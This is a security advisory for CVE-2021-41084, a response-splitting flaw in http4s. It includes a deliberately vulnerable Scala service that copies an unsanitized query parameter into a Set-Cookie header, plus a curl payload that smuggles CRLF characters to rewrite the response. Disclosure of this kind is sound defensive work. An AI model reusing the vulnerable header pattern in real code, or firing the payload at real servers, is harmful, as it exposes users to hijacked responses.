CVE-2021-41084: Response Splitting from unsanitized headers

(updated )

http4s is vulnerable to response-splitting or request-splitting attacks when untrusted user input is used to create any of the following fields:

  • Header names (Header.nameå
  • Header values (Header.value)
  • Status reason phrases (Status.reason)
  • URI paths (Uri.Path)
  • URI authority registered names (URI.RegName) (through 0.21)

The following backends render invalid carriage return, newline, or null characters in an unsafe fashion.

blaze-serverember-serverblaze-clientember-clientjetty-client
header names⚠⚠⚠⚠⚠
header values⚠⚠⚠⚠
status reasons⚠⚠
URI paths⚠⚠
URI regnames⚠ < 0.22⚠ < 0.22

For example, given the following service:

import cats.effect._
import org.http4s._
import org.http4s.dsl.io._
import org.http4s.server.blaze.BlazeServerBuilder
import scala.concurrent.ExecutionContext.global

object ResponseSplit extends IOApp {
override def run(args: List[String]): IO[ExitCode] =
BlazeServerBuilder[IO](global)
.bindHttp(8080)
.withHttpApp(httpApp)
.resource
.use(_ => IO.never)

val httpApp: HttpApp[IO] =
HttpApp[IO] { req =>
req.params.get("author") match {
case Some(author) =>
Ok("The real content")
.map(_.putHeaders(Header("Set-Cookie", s"author=${author}")))
case None =>
BadRequest("No author parameter")
}
}
}

A clean author parameter returns a clean response:

curl -i 'http://localhost:8080/?author=Ross'

HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=Ross
Date: Mon, 20 Sep 2021 04:12:10 GMT
Content-Length: 16

The real content

A malicious author parameter allows a user-agent to hijack the response from our server and return different content:

curl -i 'http://localhost:8080/?author=hax0r%0d%0aContent-Length:+13%0d%0a%0aI+hacked+you'

HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Set-Cookie: author=hax0r
Content-Length: 13

I hacked you

References

Code Behaviors & Features

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